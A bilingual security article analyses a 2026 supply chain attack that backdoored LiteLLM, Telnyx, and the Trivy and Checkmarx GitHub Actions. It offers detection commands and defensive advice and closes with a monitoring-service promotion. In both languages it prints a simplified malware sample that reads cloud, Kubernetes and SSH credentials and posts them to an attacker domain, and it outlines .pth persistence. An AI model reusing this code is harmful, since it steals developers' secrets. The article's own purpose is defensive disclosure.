Between March 19 and March 27, 2026, a threat actor group known as TeamPCP executed the most devastating supply chain attack campaign in PyPI's history. They didn't target obscure packages — they compromised security tools themselves: Aqua Security's Trivy vulnerability scanner, Checkmarx's KICS static analysis tool, and BerriAI's LiteLLM AI gateway library. The campaign was assigned CVE-2026-33634 with a CVSS score of 9.4 CRITICAL.

LiteLLM alone sees over 95 million downloads per month. The backdoored versions were live on PyPI for approximately 40 minutes — yet they were downloaded over 119,000 times. The malware harvested SSH keys, cloud credentials, Kubernetes secrets, and cryptocurrency wallets, then exfiltrated everything to an attacker-controlled server. This article is a complete technical breakdown of what happened, who is affected, and how to protect your Python projects going forward.

The TeamPCP Campaign: A Complete Timeline

What makes TeamPCP's campaign unprecedented is its cascading strategy: first compromise the security tools developers trust, then use the stolen credentials to poison the packages those tools are supposed to protect. Here's the full timeline based on reports from Palo Alto Unit 42, Datadog Security Labs, and PyPI's official incident report.

March 19, 2026 — Trivy Compromise
TeamPCP uses stolen credentials with tag-writing privileges to force-override 76 out of 77 version tags in aquasecurity/trivy-action, and all 7 tags in aquasecurity/setup-trivy. Every CI/CD pipeline using Trivy GitHub Actions now pulls malicious code that steals SSH keys, cloud tokens, and secrets.
March 21, 2026 — Checkmarx KICS Compromise
Using stolen GitHub Personal Access Tokens (PATs), TeamPCP force-pushes malicious commits to all 35 version tags of checkmarx/kics-github-action and poisons version 2.3.28 of checkmarx/ast-github-action.
March 24, 2026 10:39 UTC — LiteLLM PyPI Backdoor
TeamPCP publishes litellm 1.82.7 and 1.82.8 to PyPI using credentials stolen via the compromised Trivy CI/CD pipeline. The backdoored versions are downloaded 119,000+ times before PyPI quarantines them approximately 40 minutes later.
March 27, 2026 — Telnyx Python SDK Backdoor
Two releases of the telnyx PyPI package (4.87.1 and 4.87.2) are also backdoored by TeamPCP using the same attack pattern.
April 2, 2026 — PyPI Incident Report Published
The Python Package Index publishes its official incident report documenting the LiteLLM and Telnyx compromises. CVE-2026-33634 is assigned with CVSS 9.4.

What the Malware Actually Did: Technical Analysis

The LiteLLM backdoor used two distinct delivery mechanisms across its two malicious versions, each designed to maximize the chance of execution while evading detection.

Version 1.82.7: Import-Triggered Payload

The first malicious version embedded a base64-encoded payload directly inside litellm/proxy/proxy_server.py. This file is the standard import path for LiteLLM's proxy server mode — meaning the malware executed automatically whenever any application imported litellm.proxy.

# Simplified representation of the malicious code in v1.82.7
# (actual payload was base64-encoded and obfuscated)
import base64, os, subprocess

# Harvests credentials from environment and filesystem
secrets = {
    'aws': os.environ.get('AWS_SECRET_ACCESS_KEY'),
    'gcp': open(os.path.expanduser('~/.config/gcloud/credentials.db')).read(),
    'k8s': open('/var/run/secrets/kubernetes.io/serviceaccount/token').read(),
    'ssh': open(os.path.expanduser('~/.ssh/id_rsa')).read(),
}

# Exfiltrates to attacker-controlled domain
requests.post('https://models.litellm.cloud/collect', json=secrets)

Version 1.82.8: .pth Persistence — Runs on Every Python Startup

The second version was far more aggressive. It installed a file named litellm_init.pth into site-packages/. Python automatically processes all .pth files when the interpreter starts — meaning the malicious code would execute every time Python runs, even if LiteLLM is never imported.

# The .pth mechanism: Python loads .pth files from site-packages at startup
# litellm_init.pth contained:
import litellm_init  # triggers the malware module

# The malware then performed a three-stage attack:
# Stage 1: Credential harvesting
#   - SSH keys and private keys
#   - AWS, GCP, Azure cloud credentials
#   - Kubernetes secrets and service account tokens
#   - Slack and Discord tokens
#   - Cryptocurrency wallet configs
#   - .env files and shell history
#
# Stage 2: Lateral movement
#   - Deploys privileged pods across Kubernetes clusters
#   - Attempts to reach every node in the cluster
#
# Stage 3: Persistence
#   - Installs a systemd backdoor service
#   - Polls for additional malicious binaries
Are you affected? If you installed litellm==1.82.7 or litellm==1.82.8 on March 24, 2026 between 10:39 and ~11:20 UTC, your environment may be compromised. Rotate ALL credentials immediately: cloud keys, SSH keys, database passwords, API tokens, and Kubernetes secrets. Check for the file litellm_init.pth in your Python site-packages/ directory.

The Scale of Impact

95M
LiteLLM downloads per month
Source: PyPI Stats, March 2026
119K
Downloads of backdoored versions in ~40 min
Source: PyPI Incident Report, April 2, 2026
9.4
CVSS score (CVE-2026-33634)
Source: NVD NIST
1,000+
Enterprise SaaS environments potentially affected
Source: Arctic Wolf, March 2026
1,750
Python packages that would auto-pull poisoned versions
Source: Bastion Supply Chain Report, 2026
474
Public repos executing malicious code from compromised components
Source: Bastion Supply Chain Report, 2026

Beyond LiteLLM itself, 1,750 Python packages declared a dependency on litellm with version ranges that would automatically pull the poisoned releases. And because the .pth mechanism in v1.82.8 fires on every Python startup, the blast radius extends beyond applications that explicitly use LiteLLM — any Python process running in the same virtual environment was affected.

Why Security Tools Were the Perfect Target

TeamPCP's strategy of compromising security scanners first was not random — it was a calculated escalation path:

1. Trust amplification. Developers explicitly grant security tools access to their most sensitive assets: source code, CI/CD secrets, cloud credentials. A compromised vulnerability scanner runs with higher privileges than the code it scans.

2. Credential cascade. Trivy's GitHub Actions were used in LiteLLM's own CI/CD pipeline. By compromising Trivy first, TeamPCP gained access to LiteLLM's PyPI publishing credentials — turning one compromise into a chain reaction across ecosystems.

3. Detection blind spot. When your security scanner is itself compromised, it can't detect its own malware. Organizations running Trivy to scan for vulnerabilities were unknowingly exfiltrating their own secrets through the very tool they trusted to protect them.

The irony in numbers: Aqua Security's Trivy had 76 out of 77 GitHub Action version tags overridden. Checkmarx had all 35 version tags of its KICS GitHub Action compromised. These are tools used by thousands of organizations specifically to prevent supply chain attacks.

How to Check If You Were Affected

Run these checks immediately if you use LiteLLM, Trivy, or Checkmarx in your Python projects or CI/CD pipelines:

# 1. Check if you installed the compromised LiteLLM versions
pip show litellm | grep Version
# If Version is 1.82.7 or 1.82.8 → you were affected

# 2. Search for the .pth persistence mechanism
find $(python -c "import site; print(site.getsitepackages()[0])") \
     -name "litellm_init.pth" 2>/dev/null
# Any result → your environment was actively compromised

# 3. Check pip install history (if available)
pip cache list litellm 2>/dev/null | grep "1.82.[78]"

# 4. Check your requirements files for unpinned LiteLLM
grep -r "litellm" requirements*.txt Pipfile* pyproject.toml poetry.lock 2>/dev/null
# If version is unpinned or uses >= ranges, you may have pulled a bad version

# 5. Verify Trivy GitHub Actions (check your .github/workflows/)
grep -r "aquasecurity/trivy" .github/workflows/ 2>/dev/null
# If you used trivy-action between March 19-24, your CI secrets may be leaked

Defending Your Python Projects: 8 Actionable Steps

The TeamPCP campaign exploited every layer of the Python supply chain — from CI/CD tools to package registries to runtime persistence. Here are the defenses that would have caught or mitigated this attack:

  • Pin exact versions in lockfiles and CI. Never use >= or ~= ranges for dependencies in production. If your requirements.txt said litellm>=1.80, you would have automatically pulled the backdoored 1.82.8. Use pip freeze, poetry.lock, or pip-tools to pin exact versions.
  • Use pip's --uploaded-prior-to flag (pip v26+). This new feature lets you restrict installations to packages published before a specific date — a direct defense against freshly published malicious versions.
  • Verify PyPI attestations. As of March 2026, over 132,360 PyPI packages have Sigstore-based attestations that prove the publishing identity and link to the source repository. Use pip install --require-attestation when available.
  • Pin GitHub Actions by SHA, not by tag. TeamPCP overwrote Trivy's version tags to point to malicious commits. Using uses: aquasecurity/trivy-action@SHA256 instead of @v1 would have prevented the compromise from reaching your pipelines.
  • Enable 2FA with hardware keys on PyPI and GitHub. The LiteLLM maintainer's PyPI credentials were stolen via the Trivy CI/CD compromise. Hardware-based 2FA (WebAuthn) cannot be phished or stolen through environment variable exfiltration.
  • Use ephemeral CI/CD environments. Build environments should be created fresh for each job and destroyed immediately after. This prevents persistence mechanisms like systemd backdoors from surviving across builds.
  • Monitor your dependencies continuously. Running pip audit once catches known CVEs at that point in time. But when litellm 1.82.8 was published, there was no CVE yet — the compromise was detected through behavioral analysis, not database lookups. Use continuous monitoring tools that check daily against updated vulnerability databases.
  • Audit .pth files in your Python environments. The .pth auto-execution mechanism is a known persistence vector. Regularly check site-packages/ for unexpected .pth files that you didn't install.

The Bigger Picture: PyPI Supply Chain Attacks Are Accelerating

TeamPCP is not an isolated incident. The Python ecosystem has seen a sharp escalation in supply chain attacks throughout 2025-2026:

Date Campaign Impact Severity
Aug 2025 GhostActions — compromised PyPI maintainer account Exfiltrated 3,000+ secrets including npm tokens via malicious GitHub Actions workflow HIGH
Sep 2025 Cloud credential harvesters — 20 malicious packages 14,100+ downloads targeting AWS, Alibaba Cloud, and Tencent Cloud credentials HIGH
Oct 2025 soopsocks infostealer 2,653 systems infected before PyPI takedown HIGH
Mar 2026 TeamPCP — Trivy, Checkmarx, LiteLLM, Telnyx 119,000+ downloads of backdoored LiteLLM in 40 min, 1,000+ enterprise environments CRITICAL — CVSS 9.4

Three months into 2026, four significant supply chain attacks have already been disclosed on PyPI, with 474 public repositories found executing malicious code from compromised components. The trend is clear: attackers are shifting from publishing fake packages (typosquatting) to compromising legitimate, widely-used packages — a far more dangerous vector because developers already trust these packages.

What This Means for Your requirements.txt

If your Python project uses LiteLLM — and with 95 million downloads per month, many AI/ML projects do — your requirements.txt or pyproject.toml probably looks something like this:

litellm>=1.80.0       # DANGEROUS: would pull 1.82.7/1.82.8 during attack window
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0

The fix is not just upgrading past the malicious versions — it's adopting a dependency management strategy that would have prevented the compromise entirely:

# Safe: pin exact versions via lockfile
litellm==1.82.6       # Last known-good version before compromise
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0

# Even safer: use poetry.lock or pip-compile for hash verification
# poetry.lock pins exact versions AND records content hashes
# pip-compile --generate-hashes creates requirements with hash checks

But even with exact pinning, you need to know when a new CVE affects your pinned version. The CVE for the TeamPCP campaign (CVE-2026-33634) was published days after the attack. Without continuous monitoring, you wouldn't know your litellm==1.82.6 is safe while 1.82.7 next to it is compromised.

CVE OptiBot monitors your lockfiles daily against the OSV.dev database and alerts you by email when new vulnerabilities match your exact dependency versions. Upload your requirements.txt or poetry.lock and get notified the moment a CVE like CVE-2026-33634 is published — not days or weeks later.

Frequently Asked Questions

Which LiteLLM versions were compromised?

Versions 1.82.7 and 1.82.8, published on March 24, 2026 between 10:39 UTC and approximately 11:20 UTC. Both versions have been removed from PyPI. If you installed LiteLLM during that 40-minute window, you should assume your environment was compromised and rotate all credentials.

What is CVE-2026-33634?

CVE-2026-33634 is the identifier assigned to the TeamPCP supply chain campaign. It covers the compromise of Trivy GitHub Actions, Checkmarx KICS GitHub Actions, LiteLLM on PyPI, and the Telnyx Python SDK on PyPI. It has a CVSS score of 9.4 (CRITICAL), reflecting the high impact and low complexity of the attack.

How do I check if litellm_init.pth is in my environment?

Run: find $(python -c "import site; print(site.getsitepackages()[0])") -name "litellm_init.pth". If the file exists, your Python environment has been backdoored. You should destroy and recreate the virtual environment, rotate all credentials accessible from that machine, and check for systemd backdoor services that the malware may have installed.

Does pinning my LiteLLM version to 1.82.6 make me safe?

Yes, version 1.82.6 was the last clean version before the compromise. However, pinning alone doesn't protect you from future supply chain attacks on the same package or others. You should also use hash verification (pip install --require-hashes), verify PyPI attestations when available, and run continuous dependency monitoring.

Were other packages besides LiteLLM and Telnyx compromised on PyPI?

As of the PyPI incident report (April 2, 2026), only LiteLLM and Telnyx were directly compromised on PyPI. However, 1,750 packages that depend on LiteLLM with unpinned version ranges could have automatically pulled the malicious versions. Additionally, the Trivy and Checkmarx GitHub Actions compromises affected CI/CD pipelines across all ecosystems, not just Python.

How can I protect my CI/CD pipeline from similar attacks?

Pin all GitHub Actions by commit SHA instead of version tags (e.g., uses: action/name@abc123def instead of @v1). Use ephemeral build environments that are destroyed after each run. Store PyPI publishing tokens as short-lived OIDC tokens via Trusted Publishers instead of long-lived API tokens. And audit your CI/CD secrets regularly — the TeamPCP campaign succeeded because stolen CI credentials provided PyPI publishing access.

Entre le 19 et le 27 mars 2026, un groupe d'attaquants connu sous le nom de TeamPCP a execute la campagne d'attaque supply chain la plus devastatrice de l'histoire de PyPI. Ils n'ont pas cible des packages obscurs — ils ont compromis les outils de securite eux-memes : le scanner de vulnerabilites Trivy d'Aqua Security, l'outil d'analyse statique KICS de Checkmarx, et la bibliotheque AI gateway LiteLLM de BerriAI. La campagne a recu l'identifiant CVE-2026-33634 avec un score CVSS de 9.4 CRITIQUE.

LiteLLM seul enregistre plus de 95 millions de telechargements par mois. Les versions piratees sont restees disponibles sur PyPI pendant environ 40 minutes — et ont ete telechargees plus de 119 000 fois. Le malware recoltait les cles SSH, les identifiants cloud, les secrets Kubernetes et les portefeuilles de cryptomonnaies, puis exfiltrait le tout vers un serveur controle par les attaquants. Cet article est une analyse technique complete de ce qui s'est passe, de qui est affecte, et de comment proteger vos projets Python a l'avenir.

La campagne TeamPCP : chronologie complete

Ce qui rend la campagne TeamPCP sans precedent est sa strategie en cascade : d'abord compromettre les outils de securite auxquels les developpeurs font confiance, puis utiliser les identifiants voles pour empoisonner les packages que ces outils sont censes proteger. Voici la chronologie complete basee sur les rapports de Palo Alto Unit 42, Datadog Security Labs et le rapport d'incident officiel de PyPI.

19 mars 2026 — Compromission de Trivy
TeamPCP utilise des identifiants voles avec des privileges d'ecriture de tags pour remplacer 76 des 77 tags de version dans aquasecurity/trivy-action, et les 7 tags dans aquasecurity/setup-trivy. Chaque pipeline CI/CD utilisant les GitHub Actions de Trivy execute desormais du code malveillant qui vole les cles SSH, tokens cloud et secrets.
21 mars 2026 — Compromission de Checkmarx KICS
A l'aide de Personal Access Tokens (PATs) GitHub voles, TeamPCP force-push des commits malveillants sur les 35 tags de version de checkmarx/kics-github-action et empoisonne la version 2.3.28 de checkmarx/ast-github-action.
24 mars 2026 10:39 UTC — Backdoor LiteLLM sur PyPI
TeamPCP publie litellm 1.82.7 et 1.82.8 sur PyPI en utilisant des identifiants voles via le pipeline CI/CD de Trivy compromis. Les versions piratees sont telechargees 119 000+ fois avant que PyPI ne les mette en quarantaine environ 40 minutes plus tard.
27 mars 2026 — Backdoor du SDK Python Telnyx
Deux releases du package PyPI telnyx (4.87.1 et 4.87.2) sont egalement piratees par TeamPCP en utilisant le meme schema d'attaque.
2 avril 2026 — Publication du rapport d'incident PyPI
Le Python Package Index publie son rapport d'incident officiel documentant les compromissions de LiteLLM et Telnyx. CVE-2026-33634 est assigne avec un CVSS de 9.4.

Ce que le malware faisait reellement : analyse technique

La backdoor LiteLLM utilisait deux mecanismes de livraison distincts dans ses deux versions malveillantes, chacun concu pour maximiser les chances d'execution tout en evitant la detection.

Version 1.82.7 : payload declenche a l'import

La premiere version malveillante embarquait un payload encode en base64 directement dans litellm/proxy/proxy_server.py. Ce fichier est le chemin d'import standard pour le mode proxy server de LiteLLM — ce qui signifie que le malware s'executait automatiquement des qu'une application importait litellm.proxy.

# Representation simplifiee du code malveillant dans v1.82.7
# (le payload reel etait encode en base64 et obfusque)
import base64, os, subprocess

# Recolte les identifiants depuis l'environnement et le systeme de fichiers
secrets = {
    'aws': os.environ.get('AWS_SECRET_ACCESS_KEY'),
    'gcp': open(os.path.expanduser('~/.config/gcloud/credentials.db')).read(),
    'k8s': open('/var/run/secrets/kubernetes.io/serviceaccount/token').read(),
    'ssh': open(os.path.expanduser('~/.ssh/id_rsa')).read(),
}

# Exfiltre vers un domaine controle par l'attaquant
requests.post('https://models.litellm.cloud/collect', json=secrets)

Version 1.82.8 : persistance via .pth — s'execute a chaque demarrage Python

La seconde version etait beaucoup plus agressive. Elle installait un fichier nomme litellm_init.pth dans site-packages/. Python traite automatiquement tous les fichiers .pth au demarrage de l'interpreteur — ce qui signifie que le code malveillant s'executait a chaque lancement de Python, meme si LiteLLM n'est jamais importe.

# Le mecanisme .pth : Python charge les fichiers .pth depuis site-packages au demarrage
# litellm_init.pth contenait :
import litellm_init  # declenche le module malveillant

# Le malware effectuait ensuite une attaque en trois etapes :
# Etape 1 : Recolte des identifiants
#   - Cles SSH et cles privees
#   - Identifiants cloud AWS, GCP, Azure
#   - Secrets Kubernetes et tokens de compte de service
#   - Tokens Slack et Discord
#   - Configurations de portefeuilles crypto
#   - Fichiers .env et historique shell
#
# Etape 2 : Mouvement lateral
#   - Deploie des pods privilegies dans les clusters Kubernetes
#   - Tente d'atteindre chaque noeud du cluster
#
# Etape 3 : Persistance
#   - Installe un service backdoor systemd
#   - Interroge periodiquement un serveur pour des binaires supplementaires
Etes-vous affecte ? Si vous avez installe litellm==1.82.7 ou litellm==1.82.8 le 24 mars 2026 entre 10h39 et ~11h20 UTC, votre environnement est peut-etre compromis. Effectuez une rotation de TOUS vos identifiants immediatement : cles cloud, cles SSH, mots de passe de bases de donnees, tokens API et secrets Kubernetes. Verifiez la presence du fichier litellm_init.pth dans le repertoire site-packages/ de votre environnement Python.

L'ampleur de l'impact

95M
Telechargements LiteLLM par mois
Source : PyPI Stats, mars 2026
119K
Telechargements des versions piratees en ~40 min
Source : Rapport incident PyPI, 2 avril 2026
9.4
Score CVSS (CVE-2026-33634)
Source : NVD NIST
1 000+
Environnements SaaS d'entreprise potentiellement affectes
Source : Arctic Wolf, mars 2026
1 750
Packages Python qui auraient automatiquement tire les versions empoisonnees
Source : Bastion Supply Chain Report, 2026
474
Repos publics executant du code malveillant depuis des composants compromis
Source : Bastion Supply Chain Report, 2026

Au-dela de LiteLLM lui-meme, 1 750 packages Python declaraient une dependance sur litellm avec des plages de versions qui auraient automatiquement tire les releases empoisonnees. Et parce que le mecanisme .pth de la v1.82.8 s'execute a chaque demarrage Python, le rayon d'impact s'etend au-dela des applications utilisant explicitement LiteLLM — tout processus Python executant dans le meme environnement virtuel etait affecte.

Pourquoi les outils de securite etaient la cible parfaite

La strategie de TeamPCP de compromettre d'abord les scanners de securite n'etait pas aleatoire — c'etait un chemin d'escalade calcule :

1. Amplification de la confiance. Les developpeurs accordent explicitement aux outils de securite l'acces a leurs actifs les plus sensibles : code source, secrets CI/CD, identifiants cloud. Un scanner de vulnerabilites compromis s'execute avec des privileges superieurs a ceux du code qu'il analyse.

2. Cascade d'identifiants. Les GitHub Actions de Trivy etaient utilisees dans le propre pipeline CI/CD de LiteLLM. En compromettant Trivy d'abord, TeamPCP a obtenu l'acces aux identifiants de publication PyPI de LiteLLM — transformant une compromission en reaction en chaine a travers les ecosystemes.

3. Angle mort de detection. Quand votre scanner de securite est lui-meme compromis, il ne peut pas detecter son propre malware. Les organisations utilisant Trivy pour scanner les vulnerabilites exfiltraient sans le savoir leurs propres secrets via l'outil meme qu'elles utilisaient pour se proteger.

L'ironie en chiffres : Trivy d'Aqua Security a vu 76 de ses 77 tags de version GitHub Actions remplaces. Checkmarx a eu les 35 tags de version de son GitHub Action KICS compromis. Ce sont des outils utilises par des milliers d'organisations specifiquement pour prevenir les attaques supply chain.

Comment verifier si vous etes affecte

Executez ces verifications immediatement si vous utilisez LiteLLM, Trivy ou Checkmarx dans vos projets Python ou pipelines CI/CD :

# 1. Verifier si vous avez installe les versions compromises de LiteLLM
pip show litellm | grep Version
# Si Version est 1.82.7 ou 1.82.8 → vous etes affecte

# 2. Rechercher le mecanisme de persistance .pth
find $(python -c "import site; print(site.getsitepackages()[0])") \
     -name "litellm_init.pth" 2>/dev/null
# Tout resultat → votre environnement est activement compromis

# 3. Verifier l'historique d'installation pip (si disponible)
pip cache list litellm 2>/dev/null | grep "1.82.[78]"

# 4. Verifier vos fichiers requirements pour un LiteLLM non fixe
grep -r "litellm" requirements*.txt Pipfile* pyproject.toml poetry.lock 2>/dev/null
# Si la version n'est pas fixee ou utilise des plages >=, vous avez peut-etre tire une mauvaise version

# 5. Verifier les GitHub Actions Trivy (dans vos .github/workflows/)
grep -r "aquasecurity/trivy" .github/workflows/ 2>/dev/null
# Si vous utilisiez trivy-action entre le 19 et le 24 mars, vos secrets CI sont peut-etre compromis

Proteger vos projets Python : 8 actions concretes

La campagne TeamPCP a exploite chaque couche de la chaine d'approvisionnement Python — des outils CI/CD aux registres de packages jusqu'a la persistance runtime. Voici les defenses qui auraient detecte ou attenue cette attaque :

  • Fixez les versions exactes dans les lockfiles et le CI. N'utilisez jamais de plages >= ou ~= pour les dependances en production. Si votre requirements.txt indiquait litellm>=1.80, vous auriez automatiquement tire la version piratee 1.82.8. Utilisez pip freeze, poetry.lock ou pip-tools pour fixer les versions exactes.
  • Utilisez le flag --uploaded-prior-to de pip (pip v26+). Cette nouvelle fonctionnalite vous permet de restreindre les installations aux packages publies avant une date specifique — une defense directe contre les versions malveillantes fraichement publiees.
  • Verifiez les attestations PyPI. En mars 2026, plus de 132 360 packages PyPI disposent d'attestations basees sur Sigstore qui prouvent l'identite de publication et lient au depot source. Utilisez pip install --require-attestation quand disponible.
  • Fixez les GitHub Actions par SHA, pas par tag. TeamPCP a remplace les tags de version de Trivy pour pointer vers des commits malveillants. Utiliser uses: aquasecurity/trivy-action@SHA256 au lieu de @v1 aurait empeche la compromission d'atteindre vos pipelines.
  • Activez la 2FA avec des cles materiel sur PyPI et GitHub. Les identifiants PyPI du mainteneur de LiteLLM ont ete voles via la compromission CI/CD de Trivy. La 2FA basee sur le materiel (WebAuthn) ne peut pas etre phishee ou volee par exfiltration de variables d'environnement.
  • Utilisez des environnements CI/CD ephemeres. Les environnements de build doivent etre crees a neuf pour chaque job et detruits immediatement apres. Cela empeche les mecanismes de persistance comme les backdoors systemd de survivre entre les builds.
  • Monitorez vos dependances en continu. Executer pip audit une fois detecte les CVE connus a ce moment precis. Mais quand litellm 1.82.8 a ete publie, il n'y avait pas encore de CVE — la compromission a ete detectee par analyse comportementale, pas par consultation de base de donnees. Utilisez des outils de monitoring continu qui verifient quotidiennement les bases de vulnerabilites mises a jour.
  • Auditez les fichiers .pth dans vos environnements Python. Le mecanisme d'auto-execution .pth est un vecteur de persistance connu. Verifiez regulierement site-packages/ pour les fichiers .pth inattendus que vous n'avez pas installes.

Vue d'ensemble : les attaques supply chain PyPI s'accelerent

TeamPCP n'est pas un incident isole. L'ecosysteme Python a connu une escalade marquee des attaques supply chain tout au long de 2025-2026 :

Date Campagne Impact Severite
Aout 2025 GhostActions — compte mainteneur PyPI compromis 3 000+ secrets exfiltres dont des tokens npm via un workflow GitHub Actions malveillant HIGH
Sep 2025 Voleurs de credentials cloud — 20 packages malveillants 14 100+ telechargements ciblant les credentials AWS, Alibaba Cloud et Tencent Cloud HIGH
Oct 2025 Infostealer soopsocks 2 653 systemes infectes avant le retrait PyPI HIGH
Mars 2026 TeamPCP — Trivy, Checkmarx, LiteLLM, Telnyx 119 000+ telechargements de LiteLLM pirate en 40 min, 1 000+ environnements d'entreprise CRITIQUE — CVSS 9.4

Trois mois apres le debut de 2026, quatre attaques supply chain significatives ont deja ete divulguees sur PyPI, avec 474 depots publics executant du code malveillant provenant de composants compromis. La tendance est claire : les attaquants passent de la publication de faux packages (typosquatting) a la compromission de packages legitimes et largement utilises — un vecteur bien plus dangereux car les developpeurs font deja confiance a ces packages.

Ce que cela signifie pour votre requirements.txt

Si votre projet Python utilise LiteLLM — et avec 95 millions de telechargements par mois, de nombreux projets AI/ML le font — votre requirements.txt ou pyproject.toml ressemble probablement a ceci :

litellm>=1.80.0       # DANGEREUX : aurait tire 1.82.7/1.82.8 pendant la fenetre d'attaque
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0

La solution n'est pas seulement de mettre a jour au-dela des versions malveillantes — c'est d'adopter une strategie de gestion des dependances qui aurait empeche la compromission entierement :

# Securise : fixez les versions exactes via lockfile
litellm==1.82.6       # Derniere version saine avant la compromission
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0

# Encore plus sur : utilisez poetry.lock ou pip-compile pour la verification des hash
# poetry.lock fixe les versions exactes ET enregistre les hash de contenu
# pip-compile --generate-hashes cree des requirements avec verification de hash

Mais meme avec un verrouillage exact, vous devez savoir quand une nouvelle CVE affecte votre version fixee. Le CVE de la campagne TeamPCP (CVE-2026-33634) a ete publie des jours apres l'attaque. Sans monitoring continu, vous ne sauriez pas que votre litellm==1.82.6 est sur tandis que 1.82.7 juste a cote est compromis.

CVE OptiBot surveille vos lockfiles quotidiennement contre la base de donnees OSV.dev et vous alerte par email quand de nouvelles vulnerabilites correspondent a vos versions exactes de dependances. Uploadez votre requirements.txt ou poetry.lock et soyez notifie au moment ou un CVE comme CVE-2026-33634 est publie — pas des jours ou semaines plus tard.

Questions frequentes

Quelles versions de LiteLLM ont ete compromises ?

Les versions 1.82.7 et 1.82.8, publiees le 24 mars 2026 entre 10h39 UTC et environ 11h20 UTC. Les deux versions ont ete retirees de PyPI. Si vous avez installe LiteLLM pendant cette fenetre de 40 minutes, vous devez considerer votre environnement comme compromis et effectuer une rotation de tous vos identifiants.

Qu'est-ce que CVE-2026-33634 ?

CVE-2026-33634 est l'identifiant assigne a la campagne supply chain TeamPCP. Il couvre la compromission des GitHub Actions de Trivy, des GitHub Actions KICS de Checkmarx, de LiteLLM sur PyPI et du SDK Python Telnyx sur PyPI. Il a un score CVSS de 9.4 (CRITIQUE), refletant l'impact eleve et la faible complexite de l'attaque.

Comment verifier si litellm_init.pth est dans mon environnement ?

Executez : find $(python -c "import site; print(site.getsitepackages()[0])") -name "litellm_init.pth". Si le fichier existe, votre environnement Python a ete pirate. Vous devez detruire et recreer l'environnement virtuel, effectuer une rotation de tous les identifiants accessibles depuis cette machine, et verifier la presence de services backdoor systemd que le malware a pu installer.

Fixer ma version de LiteLLM a 1.82.6 me rend-il sur ?

Oui, la version 1.82.6 etait la derniere version propre avant la compromission. Cependant, le verrouillage seul ne vous protege pas des futures attaques supply chain sur le meme package ou d'autres. Vous devriez egalement utiliser la verification de hash (pip install --require-hashes), verifier les attestations PyPI quand disponibles, et executer un monitoring continu des dependances.

D'autres packages que LiteLLM et Telnyx ont-ils ete compromis sur PyPI ?

Au moment du rapport d'incident PyPI (2 avril 2026), seuls LiteLLM et Telnyx ont ete directement compromis sur PyPI. Cependant, 1 750 packages dependant de LiteLLM avec des plages de versions non fixees auraient pu automatiquement tirer les versions malveillantes. De plus, les compromissions des GitHub Actions de Trivy et Checkmarx ont affecte les pipelines CI/CD de tous les ecosystemes, pas uniquement Python.

Comment proteger mon pipeline CI/CD d'attaques similaires ?

Fixez toutes les GitHub Actions par SHA de commit au lieu de tags de version (ex. uses: action/name@abc123def au lieu de @v1). Utilisez des environnements de build ephemeres detruits apres chaque execution. Stockez les tokens de publication PyPI sous forme de tokens OIDC a duree limitee via Trusted Publishers au lieu de tokens API a longue duree. Et auditez regulierement vos secrets CI/CD — la campagne TeamPCP a reussi car les identifiants CI voles donnaient acces a la publication PyPI.